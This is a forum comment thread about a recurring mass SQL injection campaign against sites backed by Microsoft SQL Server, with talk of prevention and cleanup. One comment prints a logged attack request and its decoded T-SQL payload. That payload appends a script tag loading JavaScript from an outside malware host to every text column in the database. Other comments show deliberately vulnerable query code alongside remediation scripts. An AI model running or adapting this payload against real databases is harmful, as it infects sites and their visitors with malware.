      Thanks, I was just about to go dig that up myself. Every couple of days, someone new shows up on DZone claiming to have "discovered" this "new attack" (typically by having been a victim of it), and the meme makes the rounds yet again. Quite frustrating hearing so many cries of wolf.

      --
      Thanks to the War on Drugs, it's easier to buy meth than it is to buy cold medicine!
    2. Re:Am I in a time warp? by Marcaen · · Score: 1

      Well at least I'm not the only one confused about how many times I keep hearing about this "new" attack. A few weeks ago the same code was hitting a ton of coldfusion servers within a two day period. So maybe the reason this keeps showing up as "new" is it seems to put emphasis on different server side languages at different times. (All with common databases behind them.) But as usual, if the code is written properly and validating the data coming in, this won't do a thing.

      --
      Marcaen
  14. We got hit a few weeks back by G33kDragon · · Score: 5, Interesting

    We were added to the attack list a few weeks back, and one of our largest, most popular websites was hit. Apparently, the developers had never thought to sanitize their data, and we had multiple vulnerabilities throughout the site.

    I implemented a transparent reverse proxy server running Apache with mod_security that helped prevent further attacks from getting through, but the developers finally saw the error of their ways and converted hundreds of inline SQL calls into stored procedures.

    Since we were added to "the list", I've been seeing the same attack happen across multiple pages every 20 seconds, so they are definitely not letting up anytime soon.

    1. Re:We got hit a few weeks back by pembo13 · · Score: 1

      Stored procedures? Or prepared statements? Just asking.

      --
      "Thanks for all the money you paid to us. We've used it to buy off ISO among other things" -Microsoft
    2. Re:We got hit a few weeks back by CastrTroy · · Score: 2, Interesting

      Let me guess, they converted

      "Select * from Users Where UserID='" & Request("UserID") & "'"

      To

      CREATE PROCEDURE GET_USER_DATA(@UserID varchar(200))
      AS
      exec('SELECT * FROM Users WHERE UserID=''' + @UserID + '''')
      END

      Using stored procedures doesn't solve anything if developers don't actually understand what the problem is. You don't even need to use stored procedures. Simply switching to prepared statements would have fixed the problem.

      --

      Anthropic principle: We see the universe the way it is because if it were different we would not be here to see it.
    3. Re:We got hit a few weeks back by RingDev · · Score: 1

      I LOL'd

      On a side note, I ran into a similar situation a few days ago. I was toying around with the idea of writing my own forum years ago when I was in school with way too much free lab time. I was smart enough to use validate parameters before passing them to stored procs, but when I ran out of time to play with it I just pulled down the posting and listing pages, so that people going to the website could no longer browse or post. What I forgot to pull down though, was the actual script that posted pages. Someone had managed to stumble across it and was using it to submit posts containing javascript redirects. Then they would link directly to the post page. The result being that they had managed to use my site as a un-blocked re-director. And since I had pulled off all the public facing pages for it, I didn't even notice it until I went to do some database maintenance and found an absurd number of posts in the forum tables.

      Not a SQL injection issue, but another example of how a smart person can make a dumb mistake ;) And yes, I pulled down the script and post viewing page immediately before scrubbing the database.

      -Rick

      --
      "Most people in the U.S. wouldn't know they live in a tyrannical state if it walked up and grabbed their junk." - MyFirs
    4. Re:We got hit a few weeks back by hostyle · · Score: 0

      +1 Eat more Smarties

      --
      Caesar si viveret, ad remum dareris.
    5. Re:We got hit a few weeks back by G33kDragon · · Score: 1

      The original developers were more like glorified designers who didn't know anything about SQL to begin with. The team that fixed the holes were the real developers who make security a priority and who really know there stuff when it comes to SQL. I know they're smart enough to do it right the (albeit) second time. :)

    6. Re:We got hit a few weeks back by hypersql · · Score: 1

      Using stored procedures doesn't automatically protect you. For example, this is still insecure:

      stat.executeQuery( "CALL GET_USER('"+name+"', '"+password+"')");

      Using parameterized queries / prepared statements / bind variables works. But that means code reviews.

      There are solutions that don't require code reviews at all, for example enforcing the use of bind variables. Even better is to use LINQ or the Java variant of it, JaQu. Disclaimer: I am the developer of the open source database H2.

    7. Re:We got hit a few weeks back by Anonymous Coward · · Score: 0

      Well...yeah...if the converter is an idiot.

      Just for the same of completeness...

      CREATE PROC GET_USER_DATA(@UserID varchar(200))
      AS
      BEGIN
      SELECT * FROM Users WHERE UserID = @UserID;
      END

      You don't use EXECs unless you really need to...and that's usually when you have to write data tier type code in the db itself because you're dealing with a older language that doesn't easily support that kind of thing (e.g. Classic ASP).

    8. Re:We got hit a few weeks back by burnin1965 · · Score: 2, Informative

      the developers had never thought to sanitize their data

      Oh it goes well beyond sanitizing input data, why were they not utilizing the least privilige principle in their application design? Allowing an unauthenticated user to use a database user with full privileges to the database tables when only selects are required on specific tables is asking for trouble.

      In most cases I suspect the developers are, well, just lazy. When presented with a ready made least privilege PHP application design the response by multiple developers was "I can just recover the website from a database backup, least privilege is not necessary", I kid you not.

      burnin

    9. Re:We got hit a few weeks back by pedestrian+crossing · · Score: 1

      Another plus for stored procedures. You can grant rights to SPs without granting rights to the underlying tables.

      --
      A house divided against itself cannot stand.
  15. Re:Not really new by jellomizer · · Score: 3, Insightful

    Why do you assume all code is new. Many SQL Calls are decades old and were copied and pasted assumed what isn't broke don't fix. Not really taking into account that the interface is not controlled by the server anymore. But can be easily altered by the client. being that the bug is threw Microsoft SQL there is a higher chance that it is threw Mr. Certified .NET Developer who knows .NET but has now clue on how the web works so he assumes that if he puts a size limit on that textbox or make important fields hidden he is safe. As well a bunch of people have a poor understanding on how to use SQL, they just think it is bit more optimized version of a flat file. Where the hard stuff are using joins. So they figure well this data isn't that important.

    --
    If something is so important that you feel the need to post it on the internet... It probably isn't that important.
  16. Re:Not really new by ShieldVV0lf · · Score: 1
    The problem with Javascript is that it is inherently insecure. The Javascript model created in the 90's did not adequately address security as no one ever even thought that malware would exist.

    You may want to rethink what you know about modern-day Javascript after reading this article.

    Excerpt:

    We implemented some simple but useful policies in the context of resource usage and secrecy, and tested the prototype with them on a number of web pages, including malicious or exploited pages from the real world, well-intended pages which might raise false positives, random popular pages, and some pages specially written to explore the boundaries of existing tools. Here we focus on two policies for demonstration purposes.

  17. Re:Not really new by jellomizer · · Score: 1

    addendum: constraints often occur too they work to get a proof of concept and run out of money to harden their code. In theory they should have harden it before hand however, sometimes those methods get in the way of proof of concept testing, and their not paid for that. Also there is a huge number of developers who have no idea about SQL injection errors they just never thought about it before. Not all developers are on top of their game. They go to work and leave, and don't bother to learn anything new.

    --
    If something is so important that you feel the need to post it on the internet... It probably isn't that important.
  18. Not new at all by dzfoo · · Score: 3, Informative

    This trojan, called Asprox or Danmec, has been around for a few years. It was originally intended as a Spam distribution system but I believe that sometime in 2007 an SQL Injection tool was installed via its botnet. It has been doing the rounds every so often on the Internet since at least January.

    http://blogs.zdnet.com/security/?p=1122
    http://www.secureworks.com/research/threats/danmecasprox/?threat=danmecasprox

          -dZ.

    --
    Carol vs. Ghost
    ...Can you save Christmas?
  19. Why the missing quotation mark? by Sloppy · · Score: 2, Interesting

    I just looked and see this in my logs too; looks like they started on August 6 over here.

    What's funny is that it looks like they're trying the attack in pairs: once in the "classical" quotation mark form (GET /index.php';SQLCOMMANDSHERE) and then again without the quotation mark (GET /index.php;SQLCOMMANDSHERE). How is that second form supposed to get executed? They've gotta be trying it for a reason.

    --
    As copyright owner of this comment, I authorize everyone to defeat any technological measure which limits access to it.
    1. Re:Why the missing quotation mark? by Rearden82 · · Score: 2, Informative

      I know MySQL permits un-quoted integers, as in "SELECT * from foo where foo_id=42".

      In that case your first example would be adding an opening quote, so the injection would fail. Perhaps MSSQL is even more lenient and lets you get away with un-quoted strings as well.

    2. Re:Why the missing quotation mark? by chrisbro · · Score: 1

      Some sort of strange logging where it's saving all requested page URLs straight to a DB? That's about all I can muster.

    3. Re:Why the missing quotation mark? by Sloppy · · Score: 1

      Oh, of course. It's for numeric queries. I feel like an idiot for not seeing that. Thanks. :-)

      --
      As copyright owner of this comment, I authorize everyone to defeat any technological measure which limits access to it.
    4. Re:Why the missing quotation mark? by Corwn+of+Amber · · Score: 0

      Because they're *exactly* as lazy and stupid as the morons who wrote MSSQL in the first place, to say nothing of the brain-dead zombie who explicitly allowed unsanitized user input.

      They're trying to insert that command, and it *might* need to be escaped by a ' before it... or has needed to be escaped in a version as ancient as the trojan they're pushing... go figure. Why? Because it's safe. It's safe for them, I mean - I mean, it's almost impossible to figure how to escape characters in UNIX Bash/sed/awk regular expressions, in what order they'll be interpreted, how they'll be expanded, and such.

      --
      Making laws based on opinions that stem up from false informations leads to witch hunts.
    5. Re:Why the missing quotation mark? by bhsurfer · · Score: 1

      No, MSSQL doesn't let you use unquoted strings. When you decode the string the attack is sending in you will find quotes around info the it's sending into the sysobjects.xtype parameters.

      It's a pretty interesting attack, really. It gets around sql-scrubbing code by sending the quotes in as hex, and it only runs the update code to append the javascript on char, varchar, ntext & nvarchar fields, at least on the versions of it i've seen.

      i won't get too redundant on the "you should use stored procs" thing, except to say that non- "EXEC" type stored procs would prevent this...

      --
      Those are my principles, and if you don't like them... well, I have others.
      Groucho Marx
    6. Re:Why the missing quotation mark? by Anonymous Coward · · Score: 0

      It's for numeric parameters or if a developer used a field name directly from a URL variable in an order by clause.

    7. Re:Why the missing quotation mark? by Anonymous Coward · · Score: 0

      Because integers aren't quoted.

      select name from users where id = 7;SQLCOMMANDSHERE

  20. MOD PARENT UP! by Anonymous Coward · · Score: 0

    Die mund halten!!

  21. Web Security Consultant / Database Expert Needed by Anonymous Coward · · Score: 1, Funny

    I saw a post in the "best of" section of craigslist from early July that described the same attack from the article. The victim included some great documentation of the attack: http://www.craigslist.org/about/best/bos/742662737.html

  22. Comment removed by account_deleted · · Score: 2, Interesting

    Comment removed based on user account deletion

  23. So, to recap... by seanonymous · · Score: 1, Informative

    Users of Microsoft operating system who use Microsoft's browser may be at risk from malware served by infected Microsoft servers.

    1. Re:So, to recap... by hostyle · · Score: 0


      SELECT
          user FROM users
      WHERE
          os_id IN (SELECT os_name FROM os_list WHERE vendor = 'Microsoft' OR vendor = 'Bob')
      AND
          user_browser IN (SELECT browser_name FROM browser_list WHERE vendor = 'Microsoft' OR vendor = 'Bob')
      AND
          1 = 1''--DROP users; --DROP os_list; --DROP pants;

      --
      Caesar si viveret, ad remum dareris.
  24. Comment removed by account_deleted · · Score: 2, Funny

    Comment removed based on user account deletion

  25. Re:Not really new by Anonymous Coward · · Score: 3, Insightful

    There is also deliberate gross misconduct. A lot of the code is written by outsourced divisions, I-9 lackeys, or contractors who will be long gone by the time someone discovers the SQL injection bug. Most companies don't pay for audits of their Web code, nor do they care to.

    Sad thing is that MS is doing their best to prevent this, but they still get blamed for what their customers do (or fail to do.)

  26. Re:Not really new by billcopc · · Score: 1

    Sure, blame the coders... we're partly at fault here, but a bigger piece of the problem is that such arbitrary code is allowed to be executed at all, with no way to disable it.

    You can restrict queries, but there's no option to disable EXEC. That, to me, is a grave oversight. What's worse is the SQL folks sternly refuse to implement such a feature.

    --
    -Billco, Fnarg.com
  27. Broken? by MLCT · · Score: 1

    It seems with each passing year that the web is becoming more "broken".

    Perhaps the problem is too many groups are attempting to use it as if it is a fail-safe system - banks, corporations, financial institutions, governments. It was never designed to be fail-safe. Frankly if they had treated it more like a the "wild west web" and less like a "cheaper and easier platform for advertising/cost-cutting" then we wouldn't be in this mess.

    Answers on a postcard as to how to fix it.

    1. Re:Broken? by CorporateSuit · · Score: 1

      This has nothing to do with the web becoming more broken. It's simply a matter of SQL-injection evolution. Before, when every idiot web developer/dba would use sa for the database permissions on a website, the popular thing was to reformat the server harddrives (or in less-malicious cases, just reboot the server every now and again for laughs)

      Since then, using sa as the iuser became more and more ostracized, but complete sql injection protection was still not implemented across some older code in many sites, so people have tried to find the most fun way to manipulate such available windows. Right now, the flavor of the day is apparently injecting javascript (as was popular back during the XSS days of about 4 years ago)

      Now, the DNS vulnerability that doxpara research was warning everyone about last month is new and internet-breaking, but this is just more of the same old shenanigans with assorted flavors -- something that any semi-vigilant non-idiot has protected his site against for 5+ years.

      --
      I am the richest astronaut ever to win the superbowl.
    2. Re:Broken? by Opportunist · · Score: 1

      Perhaps?

      Dan Kaminsky said in his BlackHat speech something that can be extrapolated to every technology. Essentially, the statement was, that a feature that wasn't meant as a security feature shouldn't be seen as such, even if it happens to appear as one (IIRC it was about the TTL increasing the time between attack attempts. TTL was never meant to be a security feature).

      The net was never meant to handle secure bank transactions. The internet was concepted as an open network between (more or less) trusted nodes, that should be resilent against external harm, be it from an attack to a node or other disruptions that should not mean a failure to the net as a whole. Never in its design phase was it considered that a node in the network itself could be "evil".

      The net was later seen by banks, companies and other commercial interest groups as a cheap and easy platform to pass on information. The problem is that it was never meant to be cheap or easy, and it was not designed as a potentially hostile network. But that's what it is today.

      It's not getting more and more "broken". If anything, it's broken by design. We're using the net for something it was never meant to be.

      --
      We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
    3. Re:Broken? by MLCT · · Score: 1

      My comments weren't necessarily specific to this attack, but rather a more general point that the www is not up to handling what it is increasingly being used for. The web has continued to be employed to do more and more complex things. It started out with simple hosting of html files and hyperlinking between them to create a web - that evolved to include scripting frontends and database backends, and that is now evolving yet further in the current iteration to include entire execution of programs and complex tasks in the so-called "cloud" - all via www. It is a house of cards - and with each "complexity iteration" it is opening itself up to more flaws and holes (by definition - the more complex the task, the more flaws there will be).

      When does the point come when people start saying "hang on a minute - this just isn't up to it"?

    4. Re:Broken? by Jaime2 · · Score: 1

      In order to be hurt by this attack, you have to have at least one web page accessible via the Internet that hasn't been even casually reviewed by someone who knows even a little bit about creating secure web pages. Nothing is broken here and this isn't a "hidden complexity" or an "evolutionary feature". This isn't more flaws, but the same flaw I (and thousands of others) demonstrated to web programming students in 1997. Don't blame the web, blame the developers and project managers and embarass them out of thier current jobs.

    5. Re:Broken? by Shados · · Score: 1

      The thing is, the barrier for entry for anything "global" is so stupidly high... getting things accepted by the public is harder and harder, and large scale projects are farther and farther in between (unless they involve war).

      So as soon as something of large scale appears, people jump on it. Be it Youtube, Facebook, the Internet, fossil fuel, TV, HTML 4.0... You can't make up stuff like that everyday.. we all wish we could have stuff truly designed for what we need it... but its so hard to get it massively adopted...

      Basically, I'd say, people are broken :)

    6. Re:Broken? by Opportunist · · Score: 1

      The things you mention as examples all offer something that people didn't have before and wanted. Youtube gave them an easy way to display their videos, Facebook is an easy way to have your own page for your friends to look at, the internet itself ... c'mon, we're using it right now, it has value. I dunno yet what value, but it has to have some...

      Anyway. All those things offer some additional value people didn't enjoy before they appeared. So if you want "secure internet" to happen, you have to show people that it's for their benefit. And, trust me on that one, selling security as a benefit is really, really hard. I've been in that biz for a long while now. People don't want security. Security is inconvenient, and there isn't any real benefit, unless disaster strikes. And unlike an insurance, it ain't something you dump money on and have someone else worry about. So it's really hard to explain to someone that he has to deal with it, whether he likes it or not.

      --
      We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
    7. Re:Broken? by Shados · · Score: 1

      Your examples do show something: People don't want value or features. They want mindless and easy, regardless of how useful or anything else it is for them. Mindless and easy is what they want, nothing more. They'll buy something they don't need or want, if its mindless and easy.

      So yeah...secure internet will never go through. You have to find something mindless and easy that just so freagin happen to be more secure than what we have now.

  28. Re:Not really new by tha_mink · · Score: 1

    They're just inserting the javascript directly into the websites's content, instead of putting an iframe to a hacked server to then run the javascript...

    No, they're still using a central location. It's only a script tag instead of an iframe. Same idea though.

    --
    You'll have that sometimes...
  29. Queue The MSSQL Bashing by TheNinjaroach · · Score: 2, Insightful

    I can't wait to see how many posts will bash Microsoft for the 'obvious' vulnerabilities they left in their SQL Server product..

    --
    I went to eat some animal crackers and the box said, "Do not eat if seal is broken." I opened the box and sure enough..
  30. This isn't really that new by wmbetts · · Score: 1

    I've seen it done before to generate backlinks for spam websites. They'd hack several websites via sql injection and insert "hidden" links to the sites to gain search engine ranking.

    --
    "Ubuntu" -- an African word, meaning "Slackware is too hard for me". - stolen from Dan C alt.os.linux.slackware
  31. Re:Not really new by jellomizer · · Score: 3, Insightful

    Don't blame the contractors, If they mess up it is usually do to bad management on the company. Having worked as a contractor/consultant I can tell you when there is good management at the company I produce really good work. When there is bad management my work isn't that great. The case of leaving a bug and being long gone has a flaw. Because people want return business and a good name. Doing a Hit and run of coding doesn't allow for a good professional credentials. But with contractors they are often under the gun far more then W2 employees to be cost efficient, any work they do needs to be approved as the company doesn't want to pay for extra non-speced work, and if that spec doesn't cover SQL injections or security and they do the right thing and bring it up, bad management will say it isn't an issue and just do what is speced, thus causing the problem. If they did go and take an extra 4 hours to make it secure they will not get paid for it. If the manager was smart and listed to the advice then good quality code can be released.

    --
    If something is so important that you feel the need to post it on the internet... It probably isn't that important.
  32. This is from a couple of months ago, afaik by Anonymous Coward · · Score: 0

    http://www.bloombit.com/Articles/2008/05/ASCII-Encoded-Binary-String-Automated-SQL-Injection.aspx

  33. Disabling redirects doesn't help by Anonymous Coward · · Score: 0

    I'm afraid to say any more but I may have invented this hack, but it was for a marketing company in 1998 so its okay. :)

  34. Re:Not really new by Anonymous Coward · · Score: 0

    Agreed.

    http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html?f_src=darkreading_section_318_320

    http://www.oreillynet.com/sysadmin/blog/2008/07/protect_your_database_from_you.html

  35. Re:Am I in a time warp? - by Anonymous Coward · · Score: 0

    No. You're right. This isn't "new(s)" at all. I was blocking against this at least 4 months ago, if not longer. Anyone silly enough to not parse their Querystring data before allowing it to be executed against the database *will* be impacted by this.

    On the upside, the SQL used in the injection (convered to Hex) was pretty impressive. These micreants ought to get a day job...

  36. Major Canadian bank was hit a couple of weeks ago by OhBoy! · · Score: 1

    TD Canada Trust (one of the largest Canadian banks) had one of their servers infected by this virus for at least 48 hours before taking the server down. I tried through a few different channels to get them to notice they are infected, but it took a day of effort until they reacted. And they decided to not alert their visitors that there had been a problem. In my world, a financial regulator would be all over their ass about something like this. You can see gory details at http://blog.cognistudio.com/

  37. Get out of the 1990s man! by BitterOldGUy · · Score: 1

    I can't wait to see how many posts will bash Microsoft for the 'obvious' vulnerabilities they left in their SQL Server product..

    Man, that is sooo late 90s and early 00s.

    /. is becoming a platform independent idiot basher. Whcih is good; in a way. Unfortunately, they don't take into account that folks are human; many times they're hired for one thing and then have go and develop or port an app to the web; are trying to learn new skills and screw up a web app because they've been developing corp intranets for the last decade and that's all they've been doing; /. posters are geniuses and they would have NEVEER made such a stupid error regardless of platform; all proprietary platforms are evil and therefore promote such stupidity; some of us are great at the "big picture" and horrible with the details; some of are great with details but miss the "big picture"; did I mention that we're all human and fuck up now and again; and I ran out of things to say.

    1. Re:Get out of the 1990s man! by Koiu+Lpoi · · Score: 1

      /. posters are geniuses and they would have NEVEER made such a stupid error

      Are you aware that it is entirely possible to, without being hypocritical, be critical of somebody's failures while at the same time not have the skill to do the same task? Most (trusted!) movie critics couldn't write themselves out of a box. I don't need to be a structural engineer to know that ignoring load limits is a bad thing, and probably a stupid mistake.

  38. I'm confused by Anonymous Coward · · Score: 0

    It doesn't even look like this is being passed in as a parameter. How come so many sites send the string onto the database? I think I'm missing something. Wouldn't the system just ignore it since it isn't an application parameter?

  39. Re:Not really new by Vancorps · · Score: 1

    Are you serious? EXEC is a basic privilege in SQL. EXEC, Select, Alter, Create, drop, update, and delete are all basic privileges and can be enabled per user. Beyond that, individual stored procs can be disabled per user so this isn't really a concern for most of us who already secure their databases. I do the same thing on Oracle which also allows local commands to be executed through SQL statements if you allow the user to do it that is. As a dba for the box I have lots of reasons to do this but my application server users obviously don't.

  40. OLD MEME by Autonin · · Score: 1

    WELCOME TO LAST YEAR. This sort of SQL injection - DECLARE/CAST/EXEC has been going on since last November.

    --
    -AutoNiN
    1. Re:OLD MEME by Autonin · · Score: 1
      --
      -AutoNiN
  41. Re:So, to recap...[ot] by Koiu+Lpoi · · Score: 1

    Aw man, you're making me want to play Diablo II again. I remember it clearly, as Deckard Cain Said:
    "According to HORADRIC lore the HORADRIC key can be made with HORADRIC alchemy by inserting HORADRIC staff and HORADRIC amulet into the HORADRIC cube. HORADRIC."

  42. For anyone affected, one easy fix by Otus · · Score: 1

    Ran into this recently on an old website on one of our servers, and there's an easy fix if your site doesn't have code requiring the use of system tables itself.

    Simply deny access to syscolumns & sysobjects for whatever SQL account the website is using, as the attack uses those to do the table updates. This script can do it quickly:

    declare @name varchar(200), @sql varchar(500), @type char(2), @tablelist varchar(800)
            DECLARE sSysFiles CURSOR FOR
                SELECT name, xtype FROM sysobjects where xtype IN ('s') FOR READ ONLY
            OPEN sSysFiles
            FETCH NEXT FROM sSysFiles INTO @name, @type
            WHILE @@FETCH_STATUS = 0
            BEGIN
                    IF @type = 'S'
                            BEGIN
                                    select @sql = 'DENY SELECT, INSERT, UPDATE, DELETE ON [' + @name + '] TO [DatabaseUserName]'
                                    EXEC (@sql)
                            END
                    FETCH NEXT FROM sSysFiles INTO @name, @type
            END
            CLOSE sSysFiles
            DEALLOCATE sSysFiles

    You should still of course do a code review for possible future modified attacks, but it's a quick & dirty to buy time.

    Also, here's a script that's reversed from the attack code which basically reverses the attack - either shows all infections, or deletes their code back out (depending on what you un-comment). Warning: it does trim TEXT fields down to 8000 characters (although if you were infected, their code already trimmed them down to 4000), so use with caution.

    USE [MyDatabaseName]
    GO
    DECLARE @CodeToReplace varchar(500)
    SELECT @CodeToReplace = '' --If fixing code, put the offending script here

    DECLARE @T VARCHAR(255),@C VARCHAR(255)
    DECLARE Table_Cursor CURSOR FOR
            SELECT a.name,b.name
            FROM sysobjects a,syscolumns b
            WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)

            OPEN Table_Cursor
            FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0)
            BEGIN
                    --Uncomment next line to just show possible infections:
                    --EXEC('IF EXISTS (SELECT TOP 1 * FROM ['+@T+'] (NOLOCK) WHERE ['+@C+'] LIKE ''%.js>'') SELECT '''+@T+''' [Table Name],'''+@C+''' [Column Name],['+@C+'] FROM ['+@T+'] (NOLOCK) WHERE ['+@C+'] LIKE ''%script %''')

                    --Uncomment next line to fix them:
                    --EXEC('IF EXISTS (SELECT TOP 1 * FROM ['+@T+'] WHERE ['+@C+'] LIKE ''%script src%'') UPDATE ['+@T+'] SET ['+@C+']=REPLACE(RTRIM(CONVERT(VARCHAR(8000),['+@C+'])),''' + @CodeToReplace + ''','''') WHERE ['+@C+'] LIKE ''%script src%'' AND LEN(CONVERT(VARCHAR(8000),['+@C+'])) 8000')

                    FETCH NEXT FROM Table_Cursor INTO @T,@C
            END
            CLOSE Table_Cursor
    DEALLOCATE Table_Cursor

  43. Re:Not really new by jtcm · · Score: 4, Informative

    Many SQL Calls are decades old and were copied and pasted assumed what isn't broke don't fix.

    All too true. My company maintains some sites that were originally written during the 90s by a different web consulting company. The sites were happily chugging along and serving up pages for upwards of 10 years, until last weekend when they were hit with the exact attack described in this article. Fortunately, the attack was noticed early and we were able to fix the problem quickly, resulting in a minimal impact on our client's users.

    I wasn't involved much with the emergency fixes, but our team ended up installing a product called dotDefender that seems to have done a fantastic job of filtering out malicious requests. It inspects GET and POST data _before_ it's passed on to the vulnerable application and stops the request if it detects things like SQL injection, cross-site scripting, directory traversal, or other attacks. If you use IIS6 and have a lot of vulnerable code; or, like us, some of the bad code is contained within compiled libraries for which you don't possess the original source, I'd definitely recommend checking it out.

    Alternatively, there's a free ISAPI filter that will perform similar pre-application-level checking of GET and POST data, though I believe it only checks for SQL injection, and I can't vouch for it since I've never seen it in action.

    Unfortunately, I don't believe either of these solutions work with IIS7, so if your sites run on IIS7, I wish you luck!

    --
    @ASP.NET's parent-teacher meeting: "Little Johnny.NET is very bright, but he doesn't play well with others."
  44. Is it *visitor* or *client* that trusts the site? by argent · · Score: 1

    From TFA:

    This ultimately causes the web server's visitors to, depending on their client, be sent one of many different forms of malware from the referred pages. Similar to phishing, this attack takes advantage of the website visitor's trust in the site they are visiting. Instead of phishing for information, however, malware is sent to the client, which the client has a higher likelihood of accepting being from a trusted site.

    If this means that the browser allows malware to actually be installed without user intervention (which is implied by 'the client trusts the site') that implies that this is taking advantage of Microsoft's "Security Zones" trust model. Which should mean that this exploit is only applicable to Internet Explorer.

    I think we just passed the 11th anniversary of Microsoft creating this flawed security model. Would it be too much to ask that Microsoft finally backed down and gave up on the idea that it's possible to build this kind of exception into a sandbox without unconditionally and irreparably compromising basic security?

  45. 1 line fix by Anonymous Coward · · Score: 0

    deny select on sysobjects to WebUserName

  46. Re:Not really new by Migala77 · · Score: 3, Insightful

    Don't blame management. If you were asked to make a kid's toy, would you ask 'do you want it the safe way, which will cost an extra $5 per unit, or do you want the cheap way?'.
    You are a professional, it is your job to produce software that meets professional standards. If others screw up, fine, but don't deliver an unsafe product just because nobody told you to make it safe.

  47. Re:Not really new by BoberFett · · Score: 2, Insightful

    You've never actually held a real job, it would seem.

  48. Re:Not really new by blincoln · · Score: 1

    You can restrict queries, but there's no option to disable EXEC

    If more database-accessing code used stored procedures (and hence EXEC) instead of arbitrary queries, the database parts would work faster and there would be less likelihood of this type of attack working.

    It's *possible* to write a stored procedure that's vulnerable to SQL injection, but it's a lot harder than writing a plain query that is.

    --
    "...always new atoms but always doing the same dance, remembering what the dance was yesterday." -Richard Feynman
  49. mahahaha! by debian_dadaist · · Score: 1

    i dont know what mssql is all about nor do i have javascript turned on usually (im using w3m anyway most of the time), but it seems im getting my revenge now for all the wasted hours of my life ive been spending with the windows2000 installer. there must be gods...postgresql anybody?

    1. Re:mahahaha! by Shados · · Score: 1

      Not much of a revenge, as only shitty programmers will be affected by this. Its not like its using an MSSQL exploit or anything... this could be done with any database that allows multiple statements in a single query (and maybe some that don't, if the code is really bad).

      This would never be able to hit any application written by someone with more than "I know how to use a mouse LOLZ" level of experience.

      The only thing I've read about though, is that this attack was so aggressive, it actually DDOSed some smaller scale web sites.

    2. Re:mahahaha! by Thundersnatch · · Score: 1

      This is NOT a vulnerability in MSSQL Server. It is a vulnerability in a lot of web applications (written in various languages) that use MSSQL as a back-end. If the attackers chose to use mySQL syntax instead of MSSQL syntax, then a bunch of Linux admins running poorly coded PSP/JSP/Perl web apps would be in trouble. The same is true of every other database. I would expect variants attacking those platforms soon.

    3. Re:mahahaha! by debian_dadaist · · Score: 1

      i know - was just kidding ;). security holes are a bad thing no matter what OS you use, right? it's justevery body got to use javascript as if you could 'nt make up a nice site without it...there are a lot of pages out there which cannot be watched at all without js turned on. ridiculous if you ask me. a lot of people were complaining about sites which only supported IE once upon a while. nobody's complaining about javascript, which is in fact a very dangerous thing and by the way: it sucks (though it is a functional language...).

    4. Re:mahahaha! by debian_dadaist · · Score: 1

      sure. i did'dn dig too deep into it as i use postgresql with guile on a very small server which got just a few hits per day by friends of mine :-). it's hardened several ways and i don't think that the database can be tampered with easily (for sure not that way!). even my login shell uses scheme (scsh) - who knows scheme these days? this really does'nt seem to be my buisiness at all, which does'nt mean that i think it should not get fixed as soon as possible...

  50. server identification by skyggen · · Score: 1

    I just wish these bots would attempt to identify their targets first. I hate having microsoft specific attacks in my access_logs!

  51. Re:Not really new by ozphx · · Score: 1

    And its usually developed by a bunch of noobs that decide they fall in the "enterprise application" category.

    So the inbuilt data-binding crap will not be good enough for them! Also the cost of a $500 ORM product will be "too expensive" and... um "wont scale" or "we can do better in house" (shitty code generator ahoy).

    End result is a bunch of code-generated epic fail, completely vulnerable to all sorts of code-injection, inflexible, and runs like crap.

    All this because they couldnt suck in their pride and use the VS integrated crap for noobs, or drop the $500 on something like Diamond Binding.

    (Course, neither of those prevent XSS style attacks, but ASP.Net has a nice annoying setting that by default bitches about HTML tags in postback data.)

    Its just noobs doing what they do, running around with big egos, inventing the hell out of the wheell

    --
    3laws: No freebies, no backsies, GTFO.
  52. Re:Not really new by grahamd0 · · Score: 2, Insightful

    Bingo. If it takes this hypothetical 4 extra hours to make you application secure, you should have quoted 4 extra hours, and if you didn't it's your fault, not your client's.

  53. Re:Not really new by ozphx · · Score: 1

    Under MSSQL its a myth that stored procs are faster for basic CRUD tasks (they may even be slightly slower). In summary

    * Any 'arbitary' queries should be parameterized anyway: "set foo = @foo" style, rather than "set foo = 'foo'". That gives the same level of protection as stored procs from injection.

    * Arbitary queries go through the execution plan cache since v7, so they are just as fast.

    * Security has to be done per-table c/r/u/d, rather than per sproc. (No real difference here IMO, but sprocs do give you finer grained control).

    I tend to access data using a tool called Diamond Binding anyway, which is based on NHibernate - and the performance benefit of the flexible queries it can do far outweighs the more traditional CRUD sproc layer. (Pulling back say a customer and all addresses in one go, for example).

    Don't knock the flexibility of the ad-hoc query ;)

    --
    3laws: No freebies, no backsies, GTFO.
  54. This is older than last week by the_olo · · Score: 2, Informative

    I can see those in my webserver's logs dating back to 23rd of July:

    116.68.85.166 - - [23/Jul/2008:18:59:01 +0200] "GET /MYPATH/MYSCRIPT?';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C4...%20AS%20CHAR(4000));EXEC(@S); HTTP/1

    Oh, and the hexes decode to:

    DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=['+@C+']+''"></title><script src="http://abc.verynx.cn/w.js"></script><!--'' where '+@C+' not like ''%"></title><script src="http://abc.verynx.cn/w.js"></script><!--''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

    (phew, I'm lucky to get that through Slashdot's filter!)

    You can easily decode that from your webserver logs even on MySQL, just take into account the different CAST syntax:

    mysql> select CAST(0x444543....36F72 AS CHAR(4000));

  55. Re:Not really new by aclarke · · Score: 1

    This assumes you're not billing by the hour, which I ALWAYS do, for this exact reason.

    I give estimates, but they're estimates. In the end, a job takes as long as it happens to take. Others do things differently but to make the assumption you made in your comment seems to show a lack of understanding of the market.

    I'm going to say you're likely in the same category as the parent and haven't actually done much serious consulting work, although I'm wiling to be wrong.

  56. Fixed two sites so far... by aclarke · · Score: 1

